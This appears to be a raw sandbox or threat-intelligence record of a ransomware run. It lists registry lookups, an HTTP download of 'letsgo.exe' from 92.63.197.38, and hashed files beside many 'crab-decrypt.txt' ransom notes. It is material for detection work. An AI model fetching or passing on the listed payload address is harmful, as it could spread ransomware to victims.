HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Application
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\OAlerts
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\System
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Application
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\OAlerts
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\System
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
__PSLockdownPolicy
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
__PSLockdownPolicy
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
__PSLockdownPolicy
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
SOFTWARE\Microsoft\PowerShell\1\ShellIds
HKEY_LOCAL_MACHINE
PipelineMaxStackSizeMB
WinRegistryKey
Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
HKEY_LOCAL_MACHINE
WinRegistryKey
Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
HKEY_CURRENT_USER
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
SOFTWARE\Microsoft\.NETFramework\XML
HKEY_CURRENT_USER
WinRegistryKey
SOFTWARE\Microsoft\.NETFramework\XML
HKEY_LOCAL_MACHINE
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
__PSLockdownPolicy
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
__PSLockdownPolicy
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
__PSLockdownPolicy
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
__PSLockdownPolicy
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE
InstallationType
InstallationType
WinRegistryKey
HKEY_CURRENT_USER
WinRegistryKey
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
HKEY_CURRENT_USER
WinRegistryKey
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE
WinRegistryKey
SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE
WinRegistryKey
SOFTWARE\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE
LegacyWPADSupport
WinRegistryKey
SOFTWARE\Microsoft\.NETFramework\v4.0.30319
HKEY_LOCAL_MACHINE
HWRPortReuseOnSocketBind
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
__PSLockdownPolicy
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
__PSLockdownPolicy
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
SocketAddress
92.63.197.38
80
NetworkConnection
HTTP
92.63.197.38
80
URI
92.63.197.38/letsgo.exe?LbPUer
Contains
URI
None
File
STD_INPUT_HANDLE
File
STD_OUTPUT_HANDLE
File
STD_ERROR_HANDLE
File
$recycle.bin\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
$recycle.bin\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
c:\
c:\$recycle.bin\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
$recycle.bin\s-1-5-21-2172869166-1497266965-2109836178-1000\$ipewi8i.tmp
$recycle.bin\s-1-5-21-2172869166-1497266965-2109836178-1000\$ipewi8i.tmp
c:\
c:\$recycle.bin\s-1-5-21-2172869166-1497266965-2109836178-1000\$ipewi8i.tmp
tmp
MD5
9126296e0dcaf851df5209121867f433
SHA1
e8cabfbab7c89afc8f8c5a2cab6316eb338db5fa
SHA256
bde73da1e1a47653bc41c876383655184b8c176fe4f3d991a4e0a22de751e026
File
users\nd9e1fyi\crab-decrypt.txt
users\nd9e1fyi\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\crab-decrypt.txt
users\nd9e1fyi\appdata\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\27yji_tg_wmdvk-.gif
users\nd9e1fyi\appdata\roaming\27yji_tg_wmdvk-.gif
c:\
c:\users\nd9e1fyi\appdata\roaming\27yji_tg_wmdvk-.gif
gif
MD5
33b37811e300cd38fd42ee4595e64a7a
SHA1
13a299124374d056be60ad69363b0d61a61bba94
SHA256
0943f228aaba2fdb420dae8af3705520ae645c4f5c9128d7202a1ecbce49e50f
File
users\nd9e1fyi\appdata\roaming\2kxnzgrrl.doc
users\nd9e1fyi\appdata\roaming\2kxnzgrrl.doc
c:\
c:\users\nd9e1fyi\appdata\roaming\2kxnzgrrl.doc
doc
MD5
0925ae510c00843e8ff004dcd205ad55
SHA1
13d2e372537974ae87bf0beacf52fabb8bf16bfe
SHA256
5d6434586875c05706540c9cd8f9f507ae0cfeeb9debf5ef47ef1cf69a9f56cb
File
users\nd9e1fyi\appdata\roaming\57vfxi.wav
users\nd9e1fyi\appdata\roaming\57vfxi.wav
c:\
c:\users\nd9e1fyi\appdata\roaming\57vfxi.wav
wav
MD5
57d39e8e934f486ce2df553b8b37cefb
SHA1
6f88945811525cd707f139d8acaf24b0c4bb7c32
SHA256
0acf88959fd6d0b83eed505404f3054aeb4efa76852d09cc63aad4fc40f57afb
File
users\nd9e1fyi\appdata\roaming\7y338ww30khw_kvdj.bmp
users\nd9e1fyi\appdata\roaming\7y338ww30khw_kvdj.bmp
c:\
c:\users\nd9e1fyi\appdata\roaming\7y338ww30khw_kvdj.bmp
bmp
MD5
73aa67b6c11cb8e4e3d9a5ae9e12b7db
SHA1
5e074b352b05c7e0f14cfa90cc39529742370023
SHA256
a9a4fc09573596b03c01eb43953db285750d41ed3cfc34fc5edd3021f96e020f
File
users\nd9e1fyi\appdata\roaming\80naubl1bcqq.mp3
users\nd9e1fyi\appdata\roaming\80naubl1bcqq.mp3
c:\
c:\users\nd9e1fyi\appdata\roaming\80naubl1bcqq.mp3
mp3
MD5
2ec9e11e00d2cf8d0c49b4f1e143178f
SHA1
aa0cee6278ad02cf49fb121cc2632fa124bce608
SHA256
3eb0079a1b3d5a29c7fe1cb0ef849f01f9ff6c7474f39a9ed95069c17f52a9b1
File
users\nd9e1fyi\appdata\roaming\9hqb6.gif
users\nd9e1fyi\appdata\roaming\9hqb6.gif
c:\
c:\users\nd9e1fyi\appdata\roaming\9hqb6.gif
gif
MD5
f19b4b0480a637a87e8e65a12b15987c
SHA1
2d9bd346f04a49ee8c50811c8ae4e4c4674639a4
SHA256
c7e2b6295b7b77ca2518fef935b429074004e45dd638a5bb08d3608854259c12
File
users\nd9e1fyi\appdata\roaming\ad456ynae.png
users\nd9e1fyi\appdata\roaming\ad456ynae.png
c:\
c:\users\nd9e1fyi\appdata\roaming\ad456ynae.png
png
MD5
b3e9dec2280047385d315d862dbeed9b
SHA1
ae478640536d46e333c43f2841d23f3e43733d9f
SHA256
464d2602d76d629350d377995403fd8379c59f32211b8514579f98b66711c4f2
File
users\nd9e1fyi\appdata\roaming\adobe\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\acrobat\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\collab\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\collab\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\collab\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\forms\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\forms\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\forms\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\jscache\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\jscache\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\jscache\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\addressbook.acrodata
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\addressbook.acrodata
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\addressbook.acrodata
acrodata
MD5
9556ec253b68d3316da8ce5805124195
SHA1
0ae6967e9b17f83525ebd1b2a68dd1bbbbb3bafb
SHA256
e7ea07c3c3edeed4c2390e344c148f2d02f4d960e4de71e5b70c2eb85af03ca4
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crlcache\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crlcache\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crlcache\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crlcache\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crlcache\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crlcache\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl
crl
MD5
77c3dfeb6e7c910439ceb13793412d3a
SHA1
01db9ff3c4f0644b703d32ca6a8e7b9f2dc323db
SHA256
693ff4318218952cc39d4c6534eb81e7f2274d3dde4851f77d6a4882923f39b2
File
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crlcache\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl
users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crlcache\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\acrobat\dc\security\crlcache\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl
crl
MD5
038f0d3fa4f6c30bda347e14daa5d509
SHA1
3a63eda2be6bbde9ed8e92e299d32c3a070fa80c
SHA256
1aff34b598561d6a511196a7de352e236109f0578c4912f64b2dac865a0f8f15
File
users\nd9e1fyi\appdata\roaming\adobe\flash player\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\flash player\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\flash player\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\flash player\assetcache\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\flash player\assetcache\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\flash player\assetcache\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\flash player\assetcache\eygueqkq\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\flash player\assetcache\eygueqkq\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\flash player\assetcache\eygueqkq\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\flash player\nativecache\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\flash player\nativecache\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\flash player\nativecache\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\headlights\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\headlights\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\headlights\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\linguistics\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\linguistics\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\linguistics\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\logtransport2\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\logtransport2\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\logtransport2\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\logtransport2\logs\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\logtransport2\logs\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\logtransport2\logs\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\logtransport2\logs\ulog_acrobat12_reader_3980e2e3-09b5-4737-a657-22675b06a39a_03db394c-1477-45d1-895c-00e42db7e723_0.rdy
users\nd9e1fyi\appdata\roaming\adobe\logtransport2\logs\ulog_acrobat12_reader_3980e2e3-09b5-4737-a657-22675b06a39a_03db394c-1477-45d1-895c-00e42db7e723_0.rdy
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\logtransport2\logs\ulog_acrobat12_reader_3980e2e3-09b5-4737-a657-22675b06a39a_03db394c-1477-45d1-895c-00e42db7e723_0.rdy
rdy
MD5
422c175e6e571cf2e4492c0db57061ee
SHA1
41bceed183f6ce224cc0dca9d925927dff29db0d
SHA256
3316929aa2a8d8b7f24d4c2a963b098b542ea55227b541c628393e0565a7ae89
File
users\nd9e1fyi\appdata\roaming\adobe\logtransport2\logtransport2.cfg
users\nd9e1fyi\appdata\roaming\adobe\logtransport2\logtransport2.cfg
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\logtransport2\logtransport2.cfg
cfg
MD5
5dacfa3f9df2e8f4348e0d45e9ceed74
SHA1
84466badd7fc255dd0ae18bbff5b7340d94b856c
SHA256
36c7c2d247c0313f9d1d96632ac13286b9ce48b5e424b50967a04fa884777fc8
File
users\nd9e1fyi\appdata\roaming\adobe\sonar\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\sonar\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\sonar\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\sonar\sonar1.0\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\adobe\sonar\sonar1.0\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\sonar\sonar1.0\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\adobe\sonar\sonar1.0\sonar_policy.xml
users\nd9e1fyi\appdata\roaming\adobe\sonar\sonar1.0\sonar_policy.xml
c:\
c:\users\nd9e1fyi\appdata\roaming\adobe\sonar\sonar1.0\sonar_policy.xml
xml
MD5
e65e1a2c9c85016aa94dc6aa760c57e6
SHA1
d9ff601028219fccb785065fd3090fcd50f45e1f
SHA256
aa4a0f0ba0b26ad1dfe2840bf6d04784b8e96c51889200347283b0f8c73cdce3
File
users\nd9e1fyi\appdata\roaming\bc4ck.mp3
users\nd9e1fyi\appdata\roaming\bc4ck.mp3
c:\
c:\users\nd9e1fyi\appdata\roaming\bc4ck.mp3
mp3
MD5
f3e9ec68a907777d38584fbbafa33563
SHA1
adc75a14ca07b283854561c5a71fc609b4cd83d6
SHA256
3f4a5974e890e7a2423dcca139577b2a4d7277d4e2b24ced7fdab96f1c533987
File
users\nd9e1fyi\appdata\roaming\cx 2hvtjnepkc.mp3
users\nd9e1fyi\appdata\roaming\cx 2hvtjnepkc.mp3
c:\
c:\users\nd9e1fyi\appdata\roaming\cx 2hvtjnepkc.mp3
mp3
MD5
2fe501450902ecb586556d3185442805
SHA1
659e60b75850cf04c0f01734e42f416457731bd6
SHA256
2d33695032ec3724b21038dc5da2731483ff0b58d40cce695b0bb1f3071347ea
File
users\nd9e1fyi\appdata\roaming\d 3oihehyy3jgx.mp4
users\nd9e1fyi\appdata\roaming\d 3oihehyy3jgx.mp4
c:\
c:\users\nd9e1fyi\appdata\roaming\d 3oihehyy3jgx.mp4
mp4
MD5
b844612a261fa35f563f6e8fed742891
SHA1
a0f80bc7662764fcaeb715321314b3de15bbd715
SHA256
e80b65c06b5701001337bb24061b55786d0d1e1792cd11861cd7b2987fa77d27
File
users\nd9e1fyi\appdata\roaming\dz28ghwyj9-jvurmnbqv.ots
users\nd9e1fyi\appdata\roaming\dz28ghwyj9-jvurmnbqv.ots
c:\
c:\users\nd9e1fyi\appdata\roaming\dz28ghwyj9-jvurmnbqv.ots
ots
MD5
36b6019f59d531e698b09ff9340cab6c
SHA1
3b86abf0f7962fd32b76222ef324c9a8843a6a12
SHA256
a0328766660c9dc51a52bcd4e4acb62df7ee5d242411eb4915ac541e363c13ee
File
users\nd9e1fyi\appdata\roaming\fezrnjyet8dxbnlxa.mp4
users\nd9e1fyi\appdata\roaming\fezrnjyet8dxbnlxa.mp4
c:\
c:\users\nd9e1fyi\appdata\roaming\fezrnjyet8dxbnlxa.mp4
mp4
MD5
b1c736b29b0e697b2d0d1090a003aed1
SHA1
62c0f72a8194fb4d78be4d6f273bd81bbc60d829
SHA256
f10af594f52228588d6867e4fb1bae7ba0a436b1b2a28dc2a4244abaea651a4c
File
users\nd9e1fyi\appdata\roaming\fkoq.odt
users\nd9e1fyi\appdata\roaming\fkoq.odt
c:\
c:\users\nd9e1fyi\appdata\roaming\fkoq.odt
odt
MD5
a67864437f7df752af8067739eb9fead
SHA1
5c68c6248fb43d41c415433277e55d0ad6da4890
SHA256
87b90562688bebe43710921a5a3ef8b5787ee17ed516a326020b8ebd1337a635
File
users\nd9e1fyi\appdata\roaming\gflne6eca1jmfg6m8.mkv
users\nd9e1fyi\appdata\roaming\gflne6eca1jmfg6m8.mkv
c:\
c:\users\nd9e1fyi\appdata\roaming\gflne6eca1jmfg6m8.mkv
mkv
MD5
254a59ce4a44e6a2ccddcdcdebd0b2bd
SHA1
5fa896a2497bcec5a80dcd1e7ca6a719568e088e
SHA256
bab8f84304e72431acadc45dd0348f9da39c723a4e22cc5c785dae5a2d482f18
File
users\nd9e1fyi\appdata\roaming\im-xi-txjujxu8gwjean.avi
users\nd9e1fyi\appdata\roaming\im-xi-txjujxu8gwjean.avi
c:\
c:\users\nd9e1fyi\appdata\roaming\im-xi-txjujxu8gwjean.avi
avi
MD5
cc02aad286bbc55c846334b9fcf97c23
SHA1
2bca1d93c5a0921a9d7cc175bbba1128b015d127
SHA256
8346acc9eb71d7ea8c9e5c6349400f8a3511a3a9c51787ee853b562c84c39c05
File
users\nd9e1fyi\appdata\roaming\ivmnctwjms.swf
users\nd9e1fyi\appdata\roaming\ivmnctwjms.swf
c:\
c:\users\nd9e1fyi\appdata\roaming\ivmnctwjms.swf
swf
MD5
0ef0cc6639cce2a58068f5728f29cfb8
SHA1
9984d40ab0cac952cce1567dd572c60c8795873a
SHA256
36c9e35afb1b56487098e9d116967099c08218dd1379e5f21c41845c6521883a
File
users\nd9e1fyi\appdata\roaming\je8o8wzi8buok7-5nx6.m4a
users\nd9e1fyi\appdata\roaming\je8o8wzi8buok7-5nx6.m4a
c:\
c:\users\nd9e1fyi\appdata\roaming\je8o8wzi8buok7-5nx6.m4a
m4a
MD5
d82980ee504e39e8b872bf5c544ded94
SHA1
67509d96388c9e4549839eb26a2457afba8e6554
SHA256
8e4af37c3738adaa3e7d8cff2d1100b0b347968265695a47bf6a5a819076a95f
File
users\nd9e1fyi\appdata\roaming\kdoskm.avi
users\nd9e1fyi\appdata\roaming\kdoskm.avi
c:\
